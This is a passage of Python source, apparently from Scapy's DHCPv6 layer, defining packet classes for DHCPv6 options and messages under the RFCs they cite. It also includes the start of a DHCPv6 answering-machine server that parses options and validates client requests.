VENDOR_SPECIFIC_OPTION(_DHCP6OptGuessPayload): name = "vendor specific option data" fields_desc = [ShortField("optcode", None), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] def guess_payload_class(self, payload): return conf.padding_layer # The third one that will be used for nothing interesting class DHCP6OptVendorSpecificInfo(_DHCP6OptGuessPayload): # RFC 8415 sect 21.17 name = "DHCP6 Vendor-specific Information Option" fields_desc = [ShortEnumField("optcode", 17, dhcp6opts), FieldLenField("optlen", None, length_of="vso", fmt="!H", adjust=lambda pkt, x: x + 4), IntEnumField("enterprisenum", None, IANA_ENTERPRISE_NUMBERS), _VendorClassDataField("vso", [], VENDOR_SPECIFIC_OPTION, length_from=lambda pkt: pkt.optlen - 4)] # noqa: E501 # DHCPv6 Interface-ID Option # # Repasser sur cette option a la fin. Elle a pas l'air d'etre des # masses critique. class DHCP6OptIfaceId(_DHCP6OptGuessPayload): # RFC 8415 sect 21.18 name = "DHCP6 Interface-Id Option" fields_desc = [ShortEnumField("optcode", 18, dhcp6opts), FieldLenField("optlen", None, fmt="!H", length_of="ifaceid"), StrLenField("ifaceid", "", length_from=lambda pkt: pkt.optlen)] # DHCPv6 Reconfigure Message Option # # A server includes a Reconfigure Message option in a Reconfigure # message to indicate to the client whether the client responds with a # renew message or an Information-request message. class DHCP6OptReconfMsg(_DHCP6OptGuessPayload): # RFC 8415 sect 21.19 name = "DHCP6 Reconfigure Message Option" fields_desc = [ShortEnumField("optcode", 19, dhcp6opts), ShortField("optlen", 1), ByteEnumField("msgtype", 11, {5: "Renew Message", 11: "Information Request"})] # DHCPv6 Reconfigure Accept Option # # A client uses the Reconfigure Accept option to announce to the # server whether the client is willing to accept Recoonfigure # messages, and a server uses this option to tell the client whether # or not to accept Reconfigure messages. The default behavior in the # absence of this option, means unwillingness to accept reconfigure # messages, or instruction not to accept Reconfigure messages, for the # client and server messages, respectively. class DHCP6OptReconfAccept(_DHCP6OptGuessPayload): # RFC 8415 sect 21.20 name = "DHCP6 Reconfigure Accept Option" fields_desc = [ShortEnumField("optcode", 20, dhcp6opts), ShortField("optlen", 0)] class DHCP6OptSIPDomains(_DHCP6OptGuessPayload): # RFC3319 name = "DHCP6 Option - SIP Servers Domain Name List" fields_desc = [ShortEnumField("optcode", 21, dhcp6opts), FieldLenField("optlen", None, length_of="sipdomains"), DomainNameListField("sipdomains", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptSIPServers(_DHCP6OptGuessPayload): # RFC3319 name = "DHCP6 Option - SIP Servers IPv6 Address List" fields_desc = [ShortEnumField("optcode", 22, dhcp6opts), FieldLenField("optlen", None, length_of="sipservers"), IP6ListField("sipservers", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptDNSServers(_DHCP6OptGuessPayload): # RFC3646 name = "DHCP6 Option - DNS Recursive Name Server" fields_desc = [ShortEnumField("optcode", 23, dhcp6opts), FieldLenField("optlen", None, length_of="dnsservers"), IP6ListField("dnsservers", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptDNSDomains(_DHCP6OptGuessPayload): # RFC3646 name = "DHCP6 Option - Domain Search List option" fields_desc = [ShortEnumField("optcode", 24, dhcp6opts), FieldLenField("optlen", None, length_of="dnsdomains"), DomainNameListField("dnsdomains", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptIAPrefix(_DHCP6OptGuessPayload): # RFC 8415 sect 21.22 name = "DHCP6 Option - IA Prefix option" fields_desc = [ShortEnumField("optcode", 26, dhcp6opts), FieldLenField("optlen", None, length_of="iaprefopts", adjust=lambda pkt, x: x + 25), IntEnumField("preflft", 0, {0xffffffff: "infinity"}), IntEnumField("validlft", 0, {0xffffffff: "infinity"}), ByteField("plen", 48), # TODO: Challenge that default value # See RFC 8168 IP6Field("prefix", "2001:db8::"), # At least, global and won't hurt # noqa: E501 # We copy what wireshark does: read more dhcp6 options and # expect failures PacketListField("iaprefopts", [], _DHCP6OptGuessPayloadElt, length_from=lambda pkt: pkt.optlen - 25)] def guess_payload_class(self, payload): return conf.padding_layer class DHCP6OptIA_PD(_DHCP6OptGuessPayload): # RFC 8415 sect 21.21 name = "DHCP6 Option - Identity Association for Prefix Delegation" fields_desc = [ShortEnumField("optcode", 25, dhcp6opts), FieldLenField("optlen", None, length_of="iapdopt", fmt="!H", adjust=lambda pkt, x: x + 12), XIntField("iaid", None), IntField("T1", None), IntField("T2", None), PacketListField("iapdopt", [], _DHCP6OptGuessPayloadElt, length_from=lambda pkt: pkt.optlen - 12)] class DHCP6OptNISServers(_DHCP6OptGuessPayload): # RFC3898 name = "DHCP6 Option - NIS Servers" fields_desc = [ShortEnumField("optcode", 27, dhcp6opts), FieldLenField("optlen", None, length_of="nisservers"), IP6ListField("nisservers", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptNISPServers(_DHCP6OptGuessPayload): # RFC3898 name = "DHCP6 Option - NIS+ Servers" fields_desc = [ShortEnumField("optcode", 28, dhcp6opts), FieldLenField("optlen", None, length_of="nispservers"), IP6ListField("nispservers", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptNISDomain(_DHCP6OptGuessPayload): # RFC3898 name = "DHCP6 Option - NIS Domain Name" fields_desc = [ShortEnumField("optcode", 29, dhcp6opts), FieldLenField("optlen", None, length_of="nisdomain"), DNSStrField("nisdomain", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptNISPDomain(_DHCP6OptGuessPayload): # RFC3898 name = "DHCP6 Option - NIS+ Domain Name" fields_desc = [ShortEnumField("optcode", 30, dhcp6opts), FieldLenField("optlen", None, length_of="nispdomain"), DNSStrField("nispdomain", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptSNTPServers(_DHCP6OptGuessPayload): # RFC4075 name = "DHCP6 option - SNTP Servers" fields_desc = [ShortEnumField("optcode", 31, dhcp6opts), FieldLenField("optlen", None, length_of="sntpservers"), IP6ListField("sntpservers", [], length_from=lambda pkt: pkt.optlen)] IRT_DEFAULT = 86400 IRT_MINIMUM = 600 class DHCP6OptInfoRefreshTime(_DHCP6OptGuessPayload): # RFC4242 name = "DHCP6 Option - Information Refresh Time" fields_desc = [ShortEnumField("optcode", 32, dhcp6opts), ShortField("optlen", 4), IntField("reftime", IRT_DEFAULT)] # One day class DHCP6OptBCMCSDomains(_DHCP6OptGuessPayload): # RFC4280 name = "DHCP6 Option - BCMCS Domain Name List" fields_desc = [ShortEnumField("optcode", 33, dhcp6opts), FieldLenField("optlen", None, length_of="bcmcsdomains"), DomainNameListField("bcmcsdomains", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptBCMCSServers(_DHCP6OptGuessPayload): # RFC4280 name = "DHCP6 Option - BCMCS Addresses List" fields_desc = [ShortEnumField("optcode", 34, dhcp6opts), FieldLenField("optlen", None, length_of="bcmcsservers"), IP6ListField("bcmcsservers", [], length_from=lambda pkt: pkt.optlen)] _dhcp6_geoconf_what = { 0: "DHCP server", 1: "closest network element", 2: "client" } class DHCP6OptGeoConfElement(Packet): fields_desc = [ByteField("CAtype", 0), FieldLenField("CAlength", None, length_of="CAvalue"), StrLenField("CAvalue", "", length_from=lambda pkt: pkt.CAlength)] class DHCP6OptGeoConf(_DHCP6OptGuessPayload): # RFC 4776 name = "DHCP6 Option - Civic Location" fields_desc = [ShortEnumField("optcode", 36, dhcp6opts), FieldLenField("optlen", None, length_of="ca_elts", adjust=lambda x: x + 3), ByteEnumField("what", 2, _dhcp6_geoconf_what), StrFixedLenField("country_code", "FR", 2), PacketListField("ca_elts", [], DHCP6OptGeoConfElement, length_from=lambda pkt: pkt.optlen - 3)] # TODO: see if we encounter opaque values from vendor devices class DHCP6OptRemoteID(_DHCP6OptGuessPayload): # RFC4649 name = "DHCP6 Option - Relay Agent Remote-ID" fields_desc = [ShortEnumField("optcode", 37, dhcp6opts), FieldLenField("optlen", None, length_of="remoteid", adjust=lambda pkt, x: x + 4), IntEnumField("enterprisenum", None, IANA_ENTERPRISE_NUMBERS), StrLenField("remoteid", "", length_from=lambda pkt: pkt.optlen - 4)] class DHCP6OptSubscriberID(_DHCP6OptGuessPayload): # RFC4580 name = "DHCP6 Option - Subscriber ID" fields_desc = [ShortEnumField("optcode", 38, dhcp6opts), FieldLenField("optlen", None, length_of="subscriberid"), # subscriberid default value should be at least 1 byte long # but we don't really care StrLenField("subscriberid", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptClientFQDN(_DHCP6OptGuessPayload): # RFC4704 name = "DHCP6 Option - Client FQDN" fields_desc = [ShortEnumField("optcode", 39, dhcp6opts), FieldLenField("optlen", None, length_of="fqdn", adjust=lambda pkt, x: x + 1), BitField("res", 0, 5), FlagsField("flags", 0, 3, "SON"), DNSStrField("fqdn", "", length_from=lambda pkt: pkt.optlen - 1)] class DHCP6OptPanaAuthAgent(_DHCP6OptGuessPayload): # RFC5192 name = "DHCP6 PANA Authentication Agent Option" fields_desc = [ShortEnumField("optcode", 40, dhcp6opts), FieldLenField("optlen", None, length_of="paaaddr"), IP6ListField("paaaddr", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptNewPOSIXTimeZone(_DHCP6OptGuessPayload): # RFC4833 name = "DHCP6 POSIX Timezone Option" fields_desc = [ShortEnumField("optcode", 41, dhcp6opts), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptNewTZDBTimeZone(_DHCP6OptGuessPayload): # RFC4833 name = "DHCP6 TZDB Timezone Option" fields_desc = [ShortEnumField("optcode", 42, dhcp6opts), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptRelayAgentERO(_DHCP6OptGuessPayload): # RFC4994 name = "DHCP6 Option - RelayRequest Option" fields_desc = [ShortEnumField("optcode", 43, dhcp6opts), FieldLenField("optlen", None, length_of="reqopts", fmt="!H"), _OptReqListField("reqopts", [23, 24], length_from=lambda pkt: pkt.optlen)] class DHCP6OptLQClientLink(_DHCP6OptGuessPayload): # RFC5007 name = "DHCP6 Client Link Option" fields_desc = [ShortEnumField("optcode", 48, dhcp6opts), FieldLenField("optlen", None, length_of="linkaddress"), IP6ListField("linkaddress", [], length_from=lambda pkt: pkt.optlen)] class DHCP6NTPSubOptSrvAddr(Packet): # RFC5908 sect 4.1 name = "DHCP6 NTP Server Address Suboption" fields_desc = [ShortField("optcode", 1), ShortField("optlen", 16), IP6Field("addr", "::")] def extract_padding(self, s): return b"", s class DHCP6NTPSubOptMCAddr(Packet): # RFC5908 sect 4.2 name = "DHCP6 NTP Multicast Address Suboption" fields_desc = [ShortField("optcode", 2), ShortField("optlen", 16), IP6Field("addr", "::")] def extract_padding(self, s): return b"", s class DHCP6NTPSubOptSrvFQDN(Packet): # RFC5908 sect 4.3 name = "DHCP6 NTP Server FQDN Suboption" fields_desc = [ShortField("optcode", 3), FieldLenField("optlen", None, length_of="fqdn"), DNSStrField("fqdn", "", length_from=lambda pkt: pkt.optlen)] def extract_padding(self, s): return b"", s _ntp_subopts = {1: DHCP6NTPSubOptSrvAddr, 2: DHCP6NTPSubOptMCAddr, 3: DHCP6NTPSubOptSrvFQDN} def _ntp_subopt_dispatcher(p, **kwargs): cls = conf.raw_layer if len(p) >= 2: o = struct.unpack("!H", p[:2])[0] cls = _ntp_subopts.get(o, conf.raw_layer) return cls(p, **kwargs) class DHCP6OptNTPServer(_DHCP6OptGuessPayload): # RFC5908 name = "DHCP6 NTP Server Option" fields_desc = [ShortEnumField("optcode", 56, dhcp6opts), FieldLenField("optlen", None, length_of="ntpserver", fmt="!H"), PacketListField("ntpserver", [], _ntp_subopt_dispatcher, length_from=lambda pkt: pkt.optlen)] class DHCP6OptBootFileUrl(_DHCP6OptGuessPayload): # RFC5970 name = "DHCP6 Boot File URL Option" fields_desc = [ShortEnumField("optcode", 59, dhcp6opts), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptClientArchType(_DHCP6OptGuessPayload): # RFC5970 name = "DHCP6 Client System Architecture Type Option" fields_desc = [ShortEnumField("optcode", 61, dhcp6opts), FieldLenField("optlen", None, length_of="archtypes", fmt="!H"), FieldListField("archtypes", [], ShortField("archtype", 0), length_from=lambda pkt: pkt.optlen)] class DHCP6OptClientNetworkInterId(_DHCP6OptGuessPayload): # RFC5970 name = "DHCP6 Client Network Interface Identifier Option" fields_desc = [ShortEnumField("optcode", 62, dhcp6opts), ShortField("optlen", 3), ByteField("iitype", 0), ByteField("iimajor", 0), ByteField("iiminor", 0)] class DHCP6OptERPDomain(_DHCP6OptGuessPayload): # RFC6440 name = "DHCP6 Option - ERP Domain Name List" fields_desc = [ShortEnumField("optcode", 65, dhcp6opts), FieldLenField("optlen", None, length_of="erpdomain"), DomainNameListField("erpdomain", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptRelaySuppliedOpt(_DHCP6OptGuessPayload): # RFC6422 name = "DHCP6 Relay-Supplied Options Option" fields_desc = [ShortEnumField("optcode", 66, dhcp6opts), FieldLenField("optlen", None, length_of="relaysupplied", fmt="!H"), PacketListField("relaysupplied", [], _DHCP6OptGuessPayloadElt, length_from=lambda pkt: pkt.optlen)] # Virtual Subnet selection class DHCP6OptVSS(_DHCP6OptGuessPayload): # RFC6607 name = "DHCP6 Option - Virtual Subnet Selection" fields_desc = [ShortEnumField("optcode", 68, dhcp6opts), FieldLenField("optlen", None, length_of="data", adjust=lambda pkt, x: x + 1), ByteField("type", 255), # Default Global/default table StrLenField("data", "", length_from=lambda pkt: pkt.optlen)] # "Client link-layer address type. The link-layer type MUST be a valid hardware # noqa: E501 # type assigned by the IANA, as described in [RFC0826] class DHCP6OptClientLinkLayerAddr(_DHCP6OptGuessPayload): # RFC6939 name = "DHCP6 Option - Client Link Layer address" fields_desc = [ShortEnumField("optcode", 79, dhcp6opts), FieldLenField("optlen", None, length_of="clladdr", adjust=lambda pkt, x: x + 2), ShortField("lltype", 1), # ethernet _LLAddrField("clladdr", ETHER_ANY)] class DHCP6OptCaptivePortal(_DHCP6OptGuessPayload): # RFC8910 name = "DHCP6 Option - Captive-Portal" fields_desc = [ShortEnumField("optcode", 103, dhcp6opts), FieldLenField("optlen", None, length_of="URI"), StrLenField("URI", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptMudUrl(_DHCP6OptGuessPayload): # RFC8520 name = "DHCP6 Option - MUD URL" fields_desc = [ShortEnumField("optcode", 112, dhcp6opts), FieldLenField("optlen", None, length_of="mudstring"), StrLenField("mudstring", "", length_from=lambda pkt: pkt.optlen, max_length=253, )] class DHCP6OptAddrRegEnable(_DHCP6OptGuessPayload): # RFC 9686 sect 4.1 name = "DHCP6 Address Registration Option" fields_desc = [ShortEnumField("optcode", 148, dhcp6opts), ShortField("optlen", 0)] ##################################################################### # DHCPv6 messages # ##################################################################### # Some state parameters of the protocols that should probably be # useful to have in the configuration (and keep up-to-date) DHCP6RelayAgentUnicastAddr = "" DHCP6RelayHopCount = "" DHCP6ServerUnicastAddr = "" DHCP6ClientUnicastAddr = "" DHCP6ClientIA_TA = "" DHCP6ClientIA_NA = "" DHCP6ClientIAID = "" T1 = "" # Voir 2462 T2 = "" # Voir 2462 DHCP6ServerDUID = "" DHCP6CurrentTransactionID = "" # devrait etre utilise pour matcher une # reponse et mis a jour en mode client par une valeur aleatoire pour # laquelle on attend un retour de la part d'un serveur. DHCP6PrefVal = "" # la valeur de preference a utiliser dans # les options preference # Emitted by : # - server : ADVERTISE, REPLY, RECONFIGURE, RELAY-REPL (vers relay) # - client : SOLICIT, REQUEST, CONFIRM, RENEW, REBIND, RELEASE, DECLINE, # INFORMATION REQUEST # - relay : RELAY-FORW (toward server) ##################################################################### # DHCPv6 messages sent between Clients and Servers (types 1 to 11) # Comme specifie en section 15.1 de la RFC 3315, les valeurs de # transaction id sont selectionnees de maniere aleatoire par le client # a chaque emission et doivent matcher dans les reponses faites par # les clients class DHCP6(_DHCP6OptGuessPayload): name = "DHCPv6 Generic Message" fields_desc = [ByteEnumField("msgtype", None, dhcp6types), X3BytesField("trid", 0x000000)] overload_fields = {UDP: {"sport": 546, "dport": 547}} def hashret(self): return struct.pack("!I", self.trid)[1:4] # DHCPv6 Relay Message Option # # Relayed message is seen as a payload. class DHCP6OptRelayMsg(_DHCP6OptGuessPayload): # RFC 8415 sect 21.10 name = "DHCP6 Relay Message Option" fields_desc = [ShortEnumField("optcode", 9, dhcp6opts), FieldLenField("optlen", None, fmt="!H", length_of="message"), PacketLenField("message", DHCP6(), _dhcp6_dispatcher, length_from=lambda p: p.optlen)] ##################################################################### # Solicit Message : sect 17.1.1 RFC3315 # - sent by client # - must include a client identifier option # - the client may include IA options for any IAs to which it wants the # server to assign address # - The client use IA_NA options to request the assignment of # non-temporary addresses and uses IA_TA options to request the # assignment of temporary addresses # - The client should include an Option Request option to indicate the # options the client is interested in receiving (eventually # including hints) # - The client includes a Reconfigure Accept option if is willing to # accept Reconfigure messages from the server. # Le cas du send and reply est assez particulier car suivant la # presence d'une option rapid commit dans le solicit, l'attente # s'arrete au premier message de reponse recu ou alors apres un # timeout. De la meme maniere, si un message Advertise arrive avec une # valeur de preference de 255, il arrete l'attente et envoie une # Request. # - The client announces its intention to use DHCP authentication by # including an Authentication option in its solicit message. The # server selects a key for the client based on the client's DUID. The # client and server use that key to authenticate all DHCP messages # exchanged during the session class DHCP6_Solicit(DHCP6): name = "DHCPv6 Solicit Message" msgtype = 1 overload_fields = {UDP: {"sport": 546, "dport": 547}} ##################################################################### # Advertise Message # - sent by server # - Includes a server identifier option # - Includes a client identifier option # - the client identifier option must match the client's DUID # - transaction ID must match class DHCP6_Advertise(DHCP6): name = "DHCPv6 Advertise Message" msgtype = 2 overload_fields = {UDP: {"sport": 547, "dport": 546}} def answers(self, other): return (isinstance(other, DHCP6_Solicit) and other.msgtype == 1 and self.trid == other.trid) ##################################################################### # Request Message # - sent by clients # - includes a server identifier option # - the content of Server Identifier option must match server's DUID # - includes a client identifier option # - must include an ORO Option (even with hints) p40 # - can includes a reconfigure Accept option indicating whether or # not the client is willing to accept Reconfigure messages from # the server (p40) # - When the server receives a Request message via unicast from a # client to which the server has not sent a unicast option, the server # discards the Request message and responds with a Reply message # containing Status Code option with the value UseMulticast, a Server # Identifier Option containing the server's DUID, the client # Identifier option from the client message and no other option. class DHCP6_Request(DHCP6): name = "DHCPv6 Request Message" msgtype = 3 ##################################################################### # Confirm Message # - sent by clients # - must include a client identifier option # - When the server receives a Confirm Message, the server determines # whether the addresses in the Confirm message are appropriate for the # link to which the client is attached. cf p50 class DHCP6_Confirm(DHCP6): name = "DHCPv6 Confirm Message" msgtype = 4 ##################################################################### # Renew Message # - sent by clients # - must include a server identifier option # - content of server identifier option must match the server's identifier # - must include a client identifier option # - the clients includes any IA assigned to the interface that may # have moved to a new link, along with the addresses associated with # those IAs in its confirm messages # - When the server receives a Renew message that contains an IA # option from a client, it locates the client's binding and verifies # that the information in the IA from the client matches the # information for that client. If the server cannot find a client # entry for the IA the server returns the IA containing no addresses # with a status code option est to NoBinding in the Reply message. cf # p51 pour le reste. class DHCP6_Renew(DHCP6): name = "DHCPv6 Renew Message" msgtype = 5 ##################################################################### # Rebind Message # - sent by clients # - must include a client identifier option # cf p52 class DHCP6_Rebind(DHCP6): name = "DHCPv6 Rebind Message" msgtype = 6 ##################################################################### # Reply Message # - sent by servers # - the message must include a server identifier option # - transaction-id field must match the value of original message # The server includes a Rapid Commit option in the Reply message to # indicate that the reply is in response to a solicit message # - if the client receives a reply message with a Status code option # with the value UseMulticast, the client records the receipt of the # message and sends subsequent messages to the server through the # interface on which the message was received using multicast. The # client resends the original message using multicast # - When the client receives a NotOnLink status from the server in # response to a Confirm message, the client performs DHCP server # solicitation as described in section 17 and client-initiated # configuration as descrribed in section 18 (RFC 3315) # - when the client receives a NotOnLink status from the server in # response to a Request, the client can either re-issue the Request # without specifying any addresses or restart the DHCP server # discovery process. # - the server must include a server identifier option containing the # server's DUID in the Reply message class DHCP6_Reply(DHCP6): name = "DHCPv6 Reply Message" msgtype = 7 overload_fields = {UDP: {"sport": 547, "dport": 546}} def answers(self, other): types = (DHCP6_Solicit, DHCP6_InfoRequest, DHCP6_Confirm, DHCP6_Rebind, DHCP6_Decline, DHCP6_Request, DHCP6_Release, DHCP6_Renew) return (isinstance(other, types) and self.trid == other.trid) ##################################################################### # Release Message # - sent by clients # - must include a server identifier option # cf p53 class DHCP6_Release(DHCP6): name = "DHCPv6 Release Message" msgtype = 8 ##################################################################### # Decline Message # - sent by clients # - must include a client identifier option # - Server identifier option must match server identifier # - The addresses to be declined must be included in the IAs. Any # addresses for the IAs the client wishes to continue to use should # not be in added to the IAs. # - cf p54 class DHCP6_Decline(DHCP6): name = "DHCPv6 Decline Message" msgtype = 9 ##################################################################### # Reconfigure Message # - sent by servers # - must be unicast to the client # - must include a server identifier option # - must include a client identifier option that contains the client DUID # - must contain a Reconfigure Message Option and the message type # must be a valid value # - the server sets the transaction-id to 0 # - The server must use DHCP Authentication in the Reconfigure # message. Autant dire que ca va pas etre le type de message qu'on va # voir le plus souvent. class DHCP6_Reconf(DHCP6): name = "DHCPv6 Reconfigure Message" msgtype = 10 overload_fields = {UDP: {"sport": 547, "dport": 546}} ##################################################################### # Information-Request Message # - sent by clients when needs configuration information but no # addresses. # - client should include a client identifier option to identify # itself. If it doesn't the server is not able to return client # specific options or the server can choose to not respond to the # message at all. The client must include a client identifier option # if the message will be authenticated. # - client must include an ORO of option she's interested in receiving # (can include hints) class DHCP6_InfoRequest(DHCP6): name = "DHCPv6 Information Request Message" msgtype = 11 ##################################################################### # sent between Relay Agents and Servers # # Normalement, doit inclure une option "Relay Message Option" # peut en inclure d'autres. # voir section 7.1 de la 3315 # Relay-Forward Message # - sent by relay agents to servers # If the relay agent relays messages to the All_DHCP_Servers multicast # address or other multicast addresses, it sets the Hop Limit field to # 32. class DHCP6_RelayForward(_DHCP6OptGuessPayload, Packet): name = "DHCPv6 Relay Forward Message (Relay Agent/Server Message)" fields_desc = [ByteEnumField("msgtype", 12, dhcp6types), ByteField("hopcount", None), IP6Field("linkaddr", "::"), IP6Field("peeraddr", "::")] overload_fields = {UDP: {"sport": 547, "dport": 547}} def hashret(self): # we filter on peer address field return inet_pton(socket.AF_INET6, self.peeraddr) ##################################################################### # sent between Relay Agents and Servers # Normalement, doit inclure une option "Relay Message Option" # peut en inclure d'autres. # Les valeurs des champs hop-count, link-addr et peer-addr # sont copiees du message Forward associe. POur le suivi de session. # Pour le moment, comme decrit dans le commentaire, le hashret # se limite au contenu du champ peer address. # Voir section 7.2 de la 3315. # Relay-Reply Message # - sent by servers to relay agents # - if the solicit message was received in a Relay-Forward message, # the server constructs a relay-reply message with the Advertise # message in the payload of a relay-message. cf page 37/101. Envoie de # ce message en unicast au relay-agent. utilisation de l'adresse ip # presente en ip source du paquet recu class DHCP6_RelayReply(DHCP6_RelayForward): name = "DHCPv6 Relay Reply Message (Relay Agent/Server Message)" msgtype = 13 def hashret(self): # We filter on peer address field. return inet_pton(socket.AF_INET6, self.peeraddr) def answers(self, other): return (isinstance(other, DHCP6_RelayForward) and self.hopcount == other.hopcount and self.linkaddr == other.linkaddr and self.peeraddr == other.peeraddr) ##################################################################### # Address Registration-Inform Message (RFC 9686) # - sent by clients who generated their own address and need it registered class DHCP6_AddrRegInform(DHCP6): name = "DHCPv6 Information Request Message" msgtype = 36 ##################################################################### # Address Registration-Reply Message (RFC 9686) # - sent by servers who respond to the address registration-inform message class DHCP6_AddrRegReply(DHCP6): name = "DHCPv6 Information Reply Message" msgtype = 37 bind_bottom_up(UDP, _dhcp6_dispatcher, {"dport": 547}) bind_bottom_up(UDP, _dhcp6_dispatcher, {"dport": 546}) class DHCPv6_am(AnsweringMachine): function_name = "dhcp6d" filter = "udp and port 546 and port 547" send_function = staticmethod(send) def usage(self): msg = """ DHCPv6_am.parse_options( dns="2001:500::1035", domain="localdomain, local", duid=None, iface=conf.iface, advpref=255, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsdomains=None, bcmcsservers=None) debug : When set, additional debugging information is printed. duid : some DUID class (DUID_LLT, DUID_LL or DUID_EN). If none is provided a DUID_LLT is constructed based on the MAC address of the sending interface and launch time of dhcp6d answering machine. iface : the interface to listen/reply on if you do not want to use conf.iface. advpref : Value in [0,255] given to Advertise preference field. By default, 255 is used. Be aware that this specific value makes clients stops waiting for further Advertise messages from other servers. dns : list of recursive DNS servers addresses (as a string or list). By default, it is set empty and the associated DHCP6OptDNSServers option is inactive. See RFC 3646 for details. domain : a list of DNS search domain (as a string or list). By default, it is empty and the associated DHCP6OptDomains option is inactive. See RFC 3646 for details. sntpservers : a list of SNTP servers IPv6 addresses. By default, it is empty and the associated DHCP6OptSNTPServers option is inactive. sipdomains : a list of SIP domains. By default, it is empty and the associated DHCP6OptSIPDomains option is inactive. See RFC 3319 for details. sipservers : a list of SIP servers IPv6 addresses. By default, it is empty and the associated DHCP6OptSIPDomains option is inactive. See RFC 3319 for details. nisdomain : a list of NIS domains. By default, it is empty and the associated DHCP6OptNISDomains option is inactive. See RFC 3898 for details. See RFC 3646 for details. nisservers : a list of NIS servers IPv6 addresses. By default, it is empty and the associated DHCP6OptNISServers option is inactive. See RFC 3646 for details. nispdomain : a list of NIS+ domains. By default, it is empty and the associated DHCP6OptNISPDomains option is inactive. See RFC 3898 for details. nispservers : a list of NIS+ servers IPv6 addresses. By default, it is empty and the associated DHCP6OptNISServers option is inactive. See RFC 3898 for details. bcmcsdomain : a list of BCMCS domains. By default, it is empty and the associated DHCP6OptBCMCSDomains option is inactive. See RFC 4280 for details. bcmcsservers : a list of BCMCS servers IPv6 addresses. By default, it is empty and the associated DHCP6OptBCMCSServers option is inactive. See RFC 4280 for details. If you have a need for others, just ask ... or provide a patch.""" print(msg) def parse_options(self, dns="2001:500::1035", domain="localdomain, local", startip="2001:db8::1", endip="2001:db8::20", duid=None, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsservers=None, bcmcsdomains=None, iface=None, debug=0, advpref=255): def norm_list(val, param_name): if val is None: return None if isinstance(val, list): return val elif isinstance(val, str): tmp_len = val.split(',') return [x.strip() for x in tmp_len] else: print("Bad '%s' parameter provided." % param_name) self.usage() return -1 if iface is None: iface = conf.iface self.debug = debug # Dictionary of provided DHCPv6 options, keyed by option type self.dhcpv6_options = {} for o in [(dns, "dns", 23, lambda x: DHCP6OptDNSServers(dnsservers=x)), (domain, "domain", 24, lambda x: DHCP6OptDNSDomains(dnsdomains=x)), # noqa: E501 (sntpservers, "sntpservers", 31, lambda x: DHCP6OptSNTPServers(sntpservers=x)), # noqa: E501 (sipservers, "sipservers", 22, lambda x: DHCP6OptSIPServers(sipservers=x)), # noqa: E501 (sipdomains, "sipdomains", 21, lambda x: DHCP6OptSIPDomains(sipdomains=x)), # noqa: E501 (nisservers, "nisservers", 27, lambda x: DHCP6OptNISServers(nisservers=x)), # noqa: E501 (nisdomain, "nisdomain", 29, lambda x: DHCP6OptNISDomain(nisdomain=(x + [""])[0])), # noqa: E501 (nispservers, "nispservers", 28, lambda x: DHCP6OptNISPServers(nispservers=x)), # noqa: E501 (nispdomain, "nispdomain", 30, lambda x: DHCP6OptNISPDomain(nispdomain=(x + [""])[0])), # noqa: E501 (bcmcsservers, "bcmcsservers", 33, lambda x: DHCP6OptBCMCSServers(bcmcsservers=x)), # noqa: E501 (bcmcsdomains, "bcmcsdomains", 34, lambda x: DHCP6OptBCMCSDomains(bcmcsdomains=x))]: # noqa: E501 opt = norm_list(o[0], o[1]) if opt == -1: # Usage() was triggered return False elif opt is None: # We won't return that option pass else: self.dhcpv6_options[o[2]] = o[3](opt) if self.debug: print("\n[+] List of active DHCPv6 options:") opts = sorted(self.dhcpv6_options) for i in opts: print(" %d: %s" % (i, repr(self.dhcpv6_options[i]))) # Preference value used in Advertise. self.advpref = advpref # IP Pool self.startip = startip self.endip = endip # XXX TODO Check IPs are in same subnet #### # The interface we are listening/replying on self.iface = iface #### # Generate a server DUID if duid is not None: self.duid = duid else: # Timeval epoch = (2000, 1, 1, 0, 0, 0, 5, 1, 0) delta = time.mktime(epoch) - EPOCH timeval = time.time() - delta # Mac Address mac = get_if_hwaddr(iface) self.duid = DUID_LLT(timeval=timeval, lladdr=mac) if self.debug: print("\n[+] Our server DUID:") self.duid.show(label_lvl=" " * 4) #### # Find the source address we will use self.src_addr = None try: addr = next(x for x in in6_getifaddr() if x[2] == iface and in6_islladdr(x[0])) # noqa: E501 except (StopIteration, RuntimeError): warning("Unable to get a Link-Local address") return else: self.src_addr = addr[0] #### # Our leases self.leases = {} if self.debug: print("\n[+] Starting DHCPv6 service on %s:" % self.iface) def is_request(self, p): if IPv6 not in p: return False src = p[IPv6].src p = p[IPv6].payload if not isinstance(p, UDP) or p.sport != 546 or p.dport != 547: return False p = p.payload if not isinstance(p, DHCP6): return False # Message we considered client messages : # Solicit (1), Request (3), Confirm (4), Renew (5), Rebind (6) # Decline (9), Release (8), Information-request (11), if not (p.msgtype in [1, 3, 4, 5, 6, 8, 9, 11]): return False # Message validation following section 15 of RFC 3315 if ((p.msgtype == 1) or # Solicit (p.msgtype == 6) or # Rebind (p.msgtype == 4)): # Confirm if ((DHCP6OptClientId not in p) or DHCP6OptServerId in p): return False if (p.msgtype == 6 or # Rebind p.msgtype == 4): # Confirm # XXX We do not reply to Confirm or Rebind as we # XXX do not support address assignment return False elif (p.msgtype == 3 or # Request p.msgtype == 5 or # Renew p.msgtype == 8): # Release # Both options must be present if 